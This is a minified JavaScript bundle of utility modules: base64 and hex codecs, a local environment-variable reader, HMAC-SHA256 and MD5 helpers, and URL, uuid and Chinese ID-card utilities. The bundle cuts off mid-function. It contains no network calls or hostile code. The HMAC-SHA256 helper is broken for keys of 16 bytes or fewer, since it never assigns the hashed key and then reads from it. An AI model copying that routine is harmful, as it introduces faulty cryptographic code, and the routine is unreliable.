y(t){if(null==t)return null;if(""===t)return new Int8Array(0);if("string"==typeof t&&!c(t))throw"Invaid base64 data";var e=n((0,i.toBytes)(t)).filter((function(t){return 13!=t&&10!=t}));if(e.length%4!=0)throw"invaid base64 data length.";e=(e=e.filter((function(t){return 61!=t}))).map((function(t){return a[t]}));for(var r=parseInt(e.length/4+""),o=e.length%4,u=[],l=0;l<r;l++){var f,s,d,y=4*l,p=(255&e[y+0])<<18|(255&e[y+1])<<12|(255&e[y+2])<<6|255&e[y+3];f=(0,i.byte)(p>>16),s=(0,i.byte)(p>>8),d=(0,i.byte)(p),u.push(f,s,d)}var v=4*r;switch(o){case 2:var h=(255&e[v])<<6|255&e[v+1];u.push((0,i.byte)(h>>4));break;case 3:var b=(255&e[v])<<12|(255&e[v+1])<<6|255&e[v+2];u.push((0,i.byte)(b>>10)),u.push((0,i.byte)(b>>2))}return new Int8Array(u)}var p={is:c,encode:f,decode:s,decrypt:y,encrypt:d};e.default=p},917:(t,e)=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.toBytes=o,e.fromBytes=i,e.toHex=a,e.fromHex=l,e.byte=u,e.toUint8Array=function(t){var e=n(t,!0);return e instanceof Uint8Array?e:new Uint8Array(e)};var r=function(){for(var t={},e=0;e<10;e++)t[e]=e;for(var r=0;r<=127;r++){var n="";r<10&&(n+="0"),t[n+=r]=r}return t}();function n(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if(null==t)return null;if(t instanceof Int8Array||t instanceof Uint8Array)return t;var r="string"==typeof t;if(Array.isArray(t)){for(var n=0;n<t.length;n++){var o=t[n];if("number"!=typeof o||parseInt(o+"")!=o){r=!0;break}}r&&(t=t.join(""))}if(e&&t instanceof Uint8Array)return t;for(var i=[],u=0;u<t.length;u++){var a=r?t.codePointAt(u):t[u];a>=65536&&a<=1114111?(i.push(a>>18&7|240),i.push(a>>12&63|128),i.push(a>>6&63|128),i.push(63&a|128),u++):a>=2048&&a<=65535?(i.push(a>>12&15|224),i.push(a>>6&63|128),i.push(63&a|128)):a>=128&&a<=2047?(i.push(a>>6&31|192),i.push(63&a|128)):i.push(255&a)}return e?new Uint8Array(i):new Int8Array(i)}function o(t){return n(t,!1)}function i(t){if(null==t)return null;if("string"==typeof t)return t;for(var e="",n=t,o=0;o<n.length;){var i,u=240&n[o],a=[];switch(i=240<=u&&u<248?4:224<=u&&u<240?3:192<=u&&u<224?2:1){case 4:var l=((7&n[o+r[0]])<<18|(63&n[o+r[1]])<<12|(63&n[o+r[2]])<<6|63&n[o+r[3]])-65536;a=[55296+(l>>10),56320+(1023&l)];break;case 3:a=[(15&n[o+r[0]])<<12|(63&n[o+r[1]])<<6|63&n[o+r[2]]];break;case 2:a=[(7&n[o+r[0]])<<6|63&n[o+r[1]]];break;default:a=[255&n[o+r[0]]]}a.forEach((function(t){return e+=String.fromCharCode(t)})),o+=i}return e}function u(t){return(Number(t)+128&255)-128}function a(t){var e=t;if("number"==typeof t&&/-?\d+$/.test(""+t))return isNaN(t)?"":(t=Number(t).toString(16)).length%2!=0?"0"+t:t;if("string"!=typeof t&&"number"!=typeof t||(e=o(t+"")),!e)return null;for(var r="",n=e.length,i=0;i<n;i++){var u=Number(e[i]);if(isNaN(u)||parseInt(u+"")!=u)throw new Error("Invalid byte value");r+=("00"+(255&u).toString(16)).slice(-2)}return r}function l(t){for(var e=[],r=0;r<t.length;r+=2){var n=t.slice(r,r+2);if(!/[0-9A-Za-z]/.test(n))throw new Error("Invalid hexadecimal value:"+n+" at pos:"+r);e.push(u(parseInt(n,16)))}return new Int8Array(e)}var c={byte:u,toBytes:o,fromBytes:i,toHex:a,fromHex:l,str2hex:a,hex2str:function(t){return i(l(t))}};e.default=c},550:(t,e)=>{"use strict";function r(t){return r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},r(t)}function n(t,e){var r=Object.keys(t);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(t);e&&(n=n.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),r.push.apply(r,n)}return r}function o(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{};e%2?n(Object(r),!0).forEach((function(e){i(t,e,r[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(r)):n(Object(r)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(r,e))}))}return t}function i(t,e,n){return(e=function(t){var e=function(t){if("object"!=r(t)||!t)return t;var e=t[Symbol.toPrimitive];if(void 0!==e){var n=e.call(t,"string");if("object"!=r(n))return n;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(t)}(t);return"symbol"==r(e)?e:e+""}(e))in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function u(t){return function(t){if(Array.isArray(t))return l(t)}(t)||function(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]||null!=t["@@iterator"])return Array.from(t)}(t)||a(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function a(t,e){if(t){if("string"==typeof t)return l(t,e);var r={}.toString.call(t).slice(8,-1);return"Object"===r&&t.constructor&&(r=t.constructor.name),"Map"===r||"Set"===r?Array.from(t):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?l(t,e):void 0}}function l(t,e){(null==e||e>t.length)&&(e=t.length);for(var r=0,n=Array(e);r<e;r++)n[r]=t[r];return n}function c(t){return Object.prototype.toString.call(t).slice(8,-1)}function f(t){if(null==t)return!0;var e=t+"";return/^\s+$/.test(e)||0==e.length}function s(t,e){var r=[];return Object.prototype.hasOwnProperty.call(t,e)&&r.push(t[e]),Object.prototype.hasOwnProperty.call(t,"dataValue")&&r.push(t.dataValue),Object.prototype.hasOwnProperty.call(t,"dataKeyItem")&&r.push(t.dataKeyItem),t.values&&"Array"==c(t.values)&&(r=[].concat(u(r),u(t.values))),u(new Set(r.filter((function(t){return null!=t})).map((function(t){return t+""}))))}Object.defineProperty(e,"__esModule",{value:!0});var d={build:function(t,e,r,n){function l(e){var r=e;return r.eq||(r.eq=function(e){return"Object"==c(e)&&e.dataKeyItem&&(e=e.dataKeyItem||e.dataValue||e),o=e,i=c(n=r),a=c(o),l=-1===["Number","Undefined","Null","Boolean","String"].findIndex((function(t){return t===i})),f=-1===["Number","Undefined","Null","Boolean","String"].findIndex((function(t){return t===a})),d=(l&&n&&Object.prototype.hasOwnProperty.call(n,t)?n[t]:n)+"",y=(f&&o&&Object.prototype.hasOwnProperty.call(o,t)?o[t]:o)+"",p=s(n,t),v=s(o,t),h=[d].concat(u(p)).filter((function(t){return""!==t&&null!=t})).map((function(t){return t+""})),b=[y].concat(u(v)).filter((function(t){return""!==t&&null!=t})).map((function(t){return t+""})),h.filter((function(t){return b.indexOf(t)>-1})).length>0;var n,o,i,a,l,f,d,y,p,v,h,b}),e.values=s(e,t),e}var d=Object.entries(r).map((function(o){var i,u,s=(u=2,function(t){if(Array.isArray(t))return t}(i=o)||function(t,e){var r=null==t?null:"undefined"!=typeof Symbol&&t[Symbol.iterator]||t["@@iterator"];if(null!=r){var n,o,i,u,a=[],l=!0,c=!1;try{if(i=(r=r.call(t)).next,0===e){if(Object(r)!==r)return;l=!1}else for(;!(l=(n=i.call(r)).done)&&(a.push(n.value),a.length!==e);l=!0);}catch(t){c=!0,o=t}finally{try{if(!l&&null!=r.return&&(u=r.return(),Object(u)!==u))return}finally{if(c)throw o}}return a}}(i,u)||a(i,u)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()),d=s[0],y=s[1],p=y;f(p.label)&&(p.label=p[e]||""),f(p.value)&&(p.value=p[t]||"");var v=l(y);return r[d]=v,c(n),v}));return o(o({},r),{},{list:d,get:function(r){var n,o,u;return d.find((function(t){return t.eq(r)}))||l((n="",o="",u=[],"Object"===c(r)&&(Object.prototype.hasOwnProperty.call(r,e)&&(o=r[e]),!o&&Object.prototype.hasOwnProperty.call(r,"dataName")&&(o=r.dataName),n=0==(u=s(r,t)).length?"":u[0]),i(i({label:o,value:n,vals:u},t,n),e,o)))},getLabel:function(t,r){var n=this.get(t);return n&&n[e]||n.dataName||r}})}};e.default=d},981:(t,e)=>{"use strict";function r(t,e){(null==e||e>t.length)&&(e=t.length);for(var r=0,n=Array(e);r<e;r++)n[r]=t[r];return n}Object.defineProperty(e,"__esModule",{value:!0}),e.getEnvironments=void 0;var n={NODE_ENV:"production",APP_SECRET_KEY:"prod-preview",appId:null};e.getEnvironments=function(){try{Object.entries(process.env||{}).forEach((function(t){var e,o,i=(o=2,function(t){if(Array.isArray(t))return t}(e=t)||function(t,e){var r=null==t?null:"undefined"!=typeof Symbol&&t[Symbol.iterator]||t["@@iterator"];if(null!=r){var n,o,i,u,a=[],l=!0,c=!1;try{if(i=(r=r.call(t)).next,0===e){if(Object(r)!==r)return;l=!1}else for(;!(l=(n=i.call(r)).done)&&(a.push(n.value),a.length!==e);l=!0);}catch(t){c=!0,o=t}finally{try{if(!l&&null!=r.return&&(u=r.return(),Object(u)!==u))return}finally{if(c)throw o}}return a}}(e,o)||function(t,e){if(t){if("string"==typeof t)return r(t,e);var n={}.toString.call(t).slice(8,-1);return"Object"===n&&t.constructor&&(n=t.constructor.name),"Map"===n||"Set"===n?Array.from(t):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?r(t,e):void 0}}(e,o)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()),u=i[0],a=i[1];return n[u]=a}))}catch(t){}return n}},899:function(t,e,r){"use strict";var n=this&&this.__importDefault||function(t){return t&&t.__esModule?t:{default:t}};Object.defineProperty(e,"__esModule",{value:!0});var o=r(917),i=r(701),u=n(r(283));function a(t,e){var r,n=(0,o.toUint8Array)(t);n.length>16&&(r=(0,i.sha256)(n));for(var u=Array(16),a=Array(16),l=0;l<16;l++)u[l]=909522486^r[l],a[l]=1549556828^r[l];var c=(0,i.sha256)(u.concat((0,o.toUint8Array)(e)),512+8*e.length);return(0,i.sha256)(a.concat(c),768)}var l={hex_sha256:function(t,e){return(0,o.toHex)(a(t,e))},b64_sha256:function(t,e){return u.default.encode(a(t,e))}};e.default=l},690:(t,e)=>{"use strict";function r(t,e){var r=(65535&t)+(65535&e);return(t>>16)+(e>>16)+(r>>16)<<16|65535&r}function n(t){for(var e=Array(),r=(1<<u)-1,n=0;n<t.length*u;n+=u)e[n>>5]|=(t.charCodeAt(n/u)&r)<<n%32;return e}function o(t){for(var e=i?"0123456789ABCDEF":"0123456789abcdef",r="",n=0;n<4*t.length;n++)r+=e.charAt(t[n>>2]>>n%4*8+4&15)+e.charAt(t[n>>2]>>n%4*8&15);return r}Object.defineProperty(e,"__esModule",{value:!0});var i=1,u=8,a=32;var l=function(){for(var t={},e=0;e<=127;e++){var r="";e<10&&(r+="0"),t[r+=e]=e}return t}();function c(t,e,n,o,i,u){return r((a=r(r(e,t),r(o,u)))<<(l=i)|a>>>32-l,n);var a,l}function f(t,e,r,n,o,i,u){return c(e&r|~e&n,t,e,o,i,u)}function s(t,e,r,n,o,i,u){return c(e&n|r&~n,t,e,o,i,u)}function d(t,e,r,n,o,i,u){return c(e^r^n,t,e,o,i,u)}function y(t,e,r,n,o,i,u){return c(r^(e|~n),t,e,o,i,u)}function p(t,e){t[e>>5]|=128<<e%32,t[14+(e+64>>>9<<4)]=e;for(var n=1732584193,o=-271733879,i=-1732584194,u=271733878,c=0;c<t.length;c+=16){var p=n,v=o,h=i,b=u;n=f(n,o,i,u,t[c+l["00"]],l["07"],-680876936),u=f(u,n,o,i,t[c+l["01"]],l[12],-389564586),i=f(i,u,n,o,t[c+l["02"]],l[17],606105819),o=f(o,i,u,n,t[c+l["03"]],l[22],-1044525330),n=f(n,o,i,u,t[c+l["04"]],l["07"],-176418897),u=f(u,n,o,i,t[c+l["05"]],l[12],1200080426),i=f(i,u,n,o,t[c+l["06"]],l[17],-1473231341),o=f(o,i,u,n,t[c+l["07"]],l[22],-45705983),n=f(n,o,i,u,t[c+l["08"]],l["07"],1770035416),u=f(u,n,o,i,t[c+l["09"]],l[12],-1958414417),i=f(i,u,n,o,t[c+l[10]],l[17],-42063),o=f(o,i,u,n,t[c+l[11]],l[22],-1990404162),n=f(n,o,i,u,t[c+l[12]],l["07"],1804603682),u=f(u,n,o,i,t[c+l[13]],l[12],-40341101),i=f(i,u,n,o,t[c+l[14]],l[17],-1502002290),n=s(n,o=f(o,i,u,n,t[c+l[15]],l[22],1236535329),i,u,t[c+l["01"]],l["05"],-165796510),u=s(u,n,o,i,t[c+l["06"]],l["09"],-1069501632),i=s(i,u,n,o,t[c+l[11]],l[14],643717713),o=s(o,i,u,n,t[c+l["00"]],l[20],-373897302),n=s(n,o,i,u,t[c+l["05"]],l["05"],-701558691),u=s(u,n,o,i,t[c+l[10]],l["09"],38016083),i=s(i,u,n,o,t[c+l[15]],l[14],-660478335),o=s(o,i,u,n,t[c+l["04"]],l[20],-405537848),n=s(n,o,i,u,t[c+l["09"]],l["05"],568446438),u=s(u,n,o,i,t[c+l[14]],l["09"],-1019803690),i=s(i,u,n,o,t[c+l["03"]],l[14],-187363961),o=s(o,i,u,n,t[c+l["08"]],l[20],1163531501),n=s(n,o,i,u,t[c+l[13]],l["05"],-1444681467),u=s(u,n,o,i,t[c+l["02"]],l["09"],-51403784),i=s(i,u,n,o,t[c+l["07"]],l[14],1735328473),n=d(n,o=s(o,i,u,n,t[c+l[12]],l[20],-1926607734),i,u,t[c+l["05"]],l["04"],-378558),u=d(u,n,o,i,t[c+l["08"]],l[11],-2022574463),i=d(i,u,n,o,t[c+l[11]],l[16],1839030562),o=d(o,i,u,n,t[c+l[14]],l[23],-35309556),n=d(n,o,i,u,t[c+l["01"]],l["04"],-1530992060),u=d(u,n,o,i,t[c+l["04"]],l[11],1272893353),i=d(i,u,n,o,t[c+l["07"]],l[16],-155497632),o=d(o,i,u,n,t[c+l[10]],l[23],-1094730640),n=d(n,o,i,u,t[c+l[13]],l["04"],681279174),u=d(u,n,o,i,t[c+l["00"]],l[11],-358537222),i=d(i,u,n,o,t[c+l["03"]],l[16],-722521979),o=d(o,i,u,n,t[c+l["06"]],l[23],76029189),n=d(n,o,i,u,t[c+l["09"]],l["04"],-640364487),u=d(u,n,o,i,t[c+l[12]],l[11],-421815835),i=d(i,u,n,o,t[c+l[15]],l[16],530742520),n=y(n,o=d(o,i,u,n,t[c+l["02"]],l[23],-995338651),i,u,t[c+l["00"]],l["06"],-198630844),u=y(u,n,o,i,t[c+l["07"]],l[10],1126891415),i=y(i,u,n,o,t[c+l[14]],l[15],-1416354905),o=y(o,i,u,n,t[c+l["05"]],l[21],-57434055),n=y(n,o,i,u,t[c+l[12]],l["06"],1700485571),u=y(u,n,o,i,t[c+l["03"]],l[10],-1894986606),i=y(i,u,n,o,t[c+l[10]],l[15],-1051523),o=y(o,i,u,n,t[c+l["01"]],l[21],-2054922799),n=y(n,o,i,u,t[c+l["08"]],l["06"],1873313359),u=y(u,n,o,i,t[c+l[15]],l[10],-30611744),i=y(i,u,n,o,t[c+l["06"]],l[15],-1560198380),o=y(o,i,u,n,t[c+l[13]],l[21],1309151649),n=y(n,o,i,u,t[c+l["04"]],l["06"],-145523070),u=y(u,n,o,i,t[c+l[11]],l[10],-1120210379),i=y(i,u,n,o,t[c+l["02"]],l[15],718787259),o=y(o,i,u,n,t[c+l["09"]],l[21],-343485551),n=r(n,p),o=r(o,v),i=r(i,h),u=r(u,b)}return 16==a?Array(o,i):Array(n,o,i,u)}var v={encode:function(t){return function(t){if(!(t instanceof String)){if(null===t)return null;if(void 0===t)return;t=""+t}return o(p(n(t),t.length*u))}(t)},hmac_md5:function(t,e){return function(t,e){if(t instanceof String||(t=""+t),!(e instanceof String)){if(null===e)return null;if(void 0===e)return;e=""+e}return o(function(t,e){var r=n(t);r.length>16&&(r=p(r,t.length*u));for(var o=Array(16),i=Array(16),a=0;a<16;a++)o[a]=909522486^r[a],i[a]=1549556828^r[a];var l=p(o.concat(n(e)),512+e.length*u);return p(i.concat(l),640)}(t,e))}(t,e)}};e.default=v},396:function(t,e,r){"use strict";var n=this&&this.__importDefault||function(t){return t&&t.__esModule?t:{default:t}};Object.defineProperty(e,"__esModule",{value:!0});var o=n(r(610)),i=r(559),u=o.default;u.sss=i.sha1_test,e.default=u},895:(t,e)=>{"use strict";function r(t){return r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},r(t)}function n(t){return function(t){if(Array.isArray(t))return i(t)}(t)||function(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]||null!=t["@@iterator"])return Array.from(t)}(t)||o(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function o(t,e){if(t){if("string"==typeof t)return i(t,e);var r={}.toString.call(t).slice(8,-1);return"Object"===r&&t.constructor&&(r=t.constructor.name),"Map"===r||"Set"===r?Array.from(t):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?i(t,e):void 0}}function i(t,e){(null==e||e>t.length)&&(e=t.length);for(var r=0,n=Array(e);r<e;r++)n[r]=t[r];return n}Object.defineProperty(e,"__esModule",{value:!0}),e.uuid=g,e.isArrayLike=w,e.isArray=A,e.shuffle=_,e.random=O;var u=/^\s+/,a=/\s+$/,l=/^(?=^.{3,255}$)[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+/,c="0123456789".split(""),f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".split(""),s=[].concat(n(c),n(f)),d=function(t){return Object.prototype.toString.call(t).slice(8,-1)},y=function(t){return t.replace(u,"").replace(a,"")},p=function(t){var e=p;e&&e.options||(e.options={strictMode:!1,key:["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"],q:{name:"params",parser:/(?:^|&)([^&=]*)=?([^&]*)/g},parser:{strict:/^(?:([^:\/?#]+):)?(?:\/\/((?:(([^:@]*)(?::([^:@]*))?)?@)?([^:\/?#]*)(?::(\d*))?))?((((?:[^?#\/]*\/)*)([^?#]*))(?:\?([^#]*))?(?:#(.*))?)/,loose:/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/}});var r=e.options,n={},i=14;if(!t)return r.key.map((function(t){return n[t]=""})),n;for(var u=r.parser[r.strictMode?"strict":"loose"].exec(t);i--;)n[r.key[i]]=u[i]||"";var a=n[r.q.name]={};function l(t){return null==t?null:"true"===(t=decodeURIComponent(t))||"false"===t?"true"===t:t}n[r.key[12]].replace(r.q.parser,(function(t,e,r){e&&(a.hasOwnProperty(e)?Array.isArray(a[e])?a[e].push(r):a[e]=[a[e],r]:a[e]=r)})),Object.entries(a).forEach((function(t){var e,r,n=(r=2,function(t){if(Array.isArray(t))return t}(e=t)||function(t,e){var r=null==t?null:"undefined"!=typeof Symbol&&t[Symbol.iterator]||t["@@iterator"];if(null!=r){var n,o,i,u,a=[],l=!0,c=!1;try{if(i=(r=r.call(t)).next,0===e){if(Object(r)!==r)return;l=!1}else for(;!(l=(n=i.call(r)).done)&&(a.push(n.value),a.length!==e);l=!0);}catch(t){c=!0,o=t}finally{try{if(!l&&null!=r.return&&(u=r.return(),Object(u)!==u))return}finally{if(c)throw o}}return a}}(e,r)||o(e,r)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()),i=n[0],u=n[1];a[i]=Array.isArray(u)?u.map((function(t){return l(t)})):l(u)}));var c=n.protocol||"",f=n.host,s=parseInt(n.port);return c&&f&&(n.origin=c+"://"+f+(isNaN(s)?"":":"+s)),n},v=function(t){if(null==t)return{};t+="";for(var e=["?","#","!","&"],r=-1;r<t.length;){var n=t.charAt(++r);if(e.includes(n))break}return r===t.length&&(r=-1),-1!=r&&(t=t.substring(r)),0==t.indexOf("//")&&(t="http:"+t),l.test(t)&&(t="http://"+t),/^\S+:\/\//.test(t)||(t="http://"+(-1==r?"simple.domain?":"")+t),t=t.replace(/^\S+:\/\/[#&!?]/,"http://simple.com?"),p(t).params||{}},h="undefined"!=typeof navigator&&navigator||{userAgent:"",appVersion:""},b=/((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))/g,m=function(t,e,r){var n="Array"==d(t)||t instanceof Array?t:[t],o=r||"children",i=function(t,r,n,u){var a=t[o]||[];e(t,r,n,u),a.forEach((function(e,r){return i(e,t,r,a)}))};return n.forEach((function(t,e){return i(t,null,e,n)})),n};function g(t){var e,r,n=16,o=[];if(n=n||s.length,t)for(e=0;e<t;e++)o[e]=s[0|Math.random()*n];else for(o[8]=o[13]=o[18]=o[23]="-",o[14]="4",e=0;e<36;e++)o[e]||(r=0|16*Math.random(),o[e]=s[19===e?3&r|8:r]);return o.join("")}function w(t){var e=d(t);return null!=t&&"object"===r(t)&&"number"==typeof t.length&&t.length>=0&&t.length%1==0&&t.length<=Math.pow(2,32)-1&&"function"==typeof t[Symbol.iterator]&&"String"!==e}function A(t){return w(t)}function _(t){if(!t||!A(t))return t;for(var e=t.length;e;){var r=Math.floor(Math.random()*e--),n=[t[e],t[r]];t[r]=n[0],t[e]=n[1]}return t}function O(t,e){if(null!=t&&""!==t||(t=1),isNaN(Number(t))||Number(t)<0)return"";var r,o=d(e);if(null==e)o=1;else if("String"===o){var i=y(e);if(0==i.length)return"";1==i.length&&"1"==i||"2"==i||"3"==i?o=parseInt(i):e=i}else if(0==e.length)return"";switch(o){case"String":case"Array":case"Int8Array":case"Int16Array":case"Int32Array":case"Uint8Array":case"Uint16Array":case"Uint32Array":case"Float32Array":case"Float64Array":r=e;break;case 3:_(r=n(f)),_(r),_(r);break;case 2:_(r=n(c)),_(r),_(r);break;default:_(r=n(s)),_(r),_(r)}for(var u=[],a=0;a<t;a++)u.push(r[Math.floor(Math.random()*r.length)]);return u.join("")}var S={buildTree:function(t,e,r,n){return function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"id",r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"parentId",n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"children";e=e||"id",r=r||"parentId",n=n||"children";var o=t;"Array"!==d(t)&&(o=[t]);var i={},u=new Set,a=o.filter((function(t){var r=t[e];return!u.has(r)&&(u.add(r),i[r]=t,t[n]=[],t.__level__=1,!0)})).map((function(t){var e=t,n=i[y(e[r])];return e.__isRoot__=!n,n&&n[r].push(e),e})).map((function(t){return 0===t[n].length&&delete t[n],t[r]=y(t[r]),t})).filter((function(t){return 1==t.__isRoot__}));return m(a,(function(t,e,r,n){e&&(t.__level__=e.__level__+1)})),a}(t,e,r,n)},chineseLen:function(t){if(null==t)return 0;for(var e=0,r=(t+="").length,n=0;n<r;n+=1)this.isChinese(t.charAt(n))&&(e+=1);return e},eachTree:function(t,e,r){return m(t,e,r)},findTreeItem:function(t,e,r){return function(t,e,r){r||(r="children");var n=null;return function t(o,i){for(var u=0;u<o.length;u++){var a=o[u];if(null!=n)return n;if(e(a=a||{},i))return n=a,a;var l="Function"==d(r)?r(a):a[r]||[];n=t(l,a)}return n}(t,null),n}(t,e,r)},getAgeFromIDcard:function(t){if(t=((t=(t||"").replace(/^\s+/,""))||"").replace(/\s+$/,""),!this.isIDCard(t))return[];var e=""+t.substr(6,8),r=parseInt(e.substr(0,4)),n=parseInt(e.substr(4,2)),o=parseInt(e.substr(6,2)),i=new Date,u=i.getFullYear()-r,a=i.getMonth()+1-n,l=i.getDate()-o;return l<0&&a--,a<0&&u--,[u<0?0:u,a<0?0:a,l<0?0:l]},getQueryParams:function(t,e){return e=null==e||e,v(t||e&&"undefined"!=typeof location&&location.search||"")},getUrlParam:function(t,e){return this.getQueryParams(t)[e]},getUrlParams:function(t){return this.getQueryParams(t)},isAndroid:function(){var t=h.userAgent;return t.indexOf("Android")>-1||t.indexOf("Adr")>-1},isArray:A,isEmpty:function(t){if(null==t)return!0;switch(d(t)){case"String":return/^\s+$/.test(t);case"Map":case"Set":return 0==t.size;case"Array":case"Int8Array":case"Int16Array":case"Int32Array":case"Uint8Array":case"Uint16Array":case"Uint32Array":case"Float32Array":case"Float64Array":return 0==t.length;default:return!1}},isBlank:function(t){var e=d(t);return null==t||"String"===e&&(""===t||/^\s+$/.test(t))},isChinese:function(t){var e=/^[\u4E00-\u9FA5\u3400-\u4DB5\u9FA6-\u9FBB\uF900-\uFA2D\uFA30-\uFA6A\uFA70-\uFAD9]$/;if(t&&t.length>1)for(var r=0;r<t.length;r+=1)if(!e.test(t.charAt(r)))return!1;return e.test(t)},isFunction:function(t){return"Function"==d(t)||t&&t instanceof Function},isUrl:function(t){return!!p(t).protocol},isHttp:function(t){var e=p(t).protocol||"";return/^http:?/.test(e.toLowerCase())},isHttps:function(t){var e=p(t).protocol||"";return/^https?:?/.test(e.toLowerCase())},isIDCard:function(t){if(!(t=(t||"").replace(/^\s+/,"").replace(/\s+$/,""))||!/^\d+$/.test(t))return!1;var e,r=t.split("");if(null==={11:"北京",12:"天津",13:"河北",14:"山西",15:"内蒙古",21:"辽宁",22:"吉林",23:"黑龙江",31:"上海",32:"江苏",33:"浙江",34:"安徽",35:"福建",36:"江西",37:"山东",41:"河南",42:"湖北",43:"湖南",44:"广东",45:"广西",46:"海南",50:"重庆",51:"四川",52:"贵州",53:"云南",54:"西藏",61:"陕西",62:"甘肃",63:"青海",64:"宁夏",65:"新疆",71:"台湾",81:"香港",82:"澳门",91:"国外"}[parseInt(t.substr(0,2))])return!1;if(18===t.length){var n=parseInt(t.substr(6,4));return!!(n%4==0||n%100==0&&n%4==0?/^[1-9][0-9]{5}(19|20)[0-9]{2}((01|03|05|07|08|10|12)(0[1-9]|[1-2][0-9]|3[0-1])|(04|06|09|11)(0[1-9]|[1-2][0-9]|30)|02(0[1-9]|[1-2][0-9]))[0-9]{3}[0-9Xx]$/:/^[1-9][0-9]{5}(19|20)[0-9]{2}((01|03|05|07|08|10|12)(0[1-9]|[1-2][0-9]|3[0-1])|(04|06|09|11)(0[1-9]|[1-2][0-9]|30)|02(0[1-9]|1[0-9]|2[0-8]))[0-9]{3}[0-9Xx]$/).test(t)&&(e=7*(parseInt(r[0])+parseInt(r[10]))+9*(parseInt(r[1])+parseInt(r[11]))+10*(parseInt(r[2])+parseInt(r[12]))+5*(parseInt(r[3])+parseInt(r[13]))+8*(parseInt(r[4])+parseInt(r[14]))+4*(parseInt(r[5])+parseInt(r[15]))+2*(parseInt(r[6])+parseInt(r[16]))+parseInt(r[7])+6*parseInt(r[8])+3*parseInt(r[9]),"10X98765432".substr(e%11,1)==r[17].toUpperCase())}return!1},isIPv6:function(t){return b.test(t)},isIPv4:function(t){var e=/^[0-9]{1,3}$/;return-1==(t+"").split(".").findIndex((function(t){return!e.test(t)||parseInt(t)>255}))},isIP:function(t){return 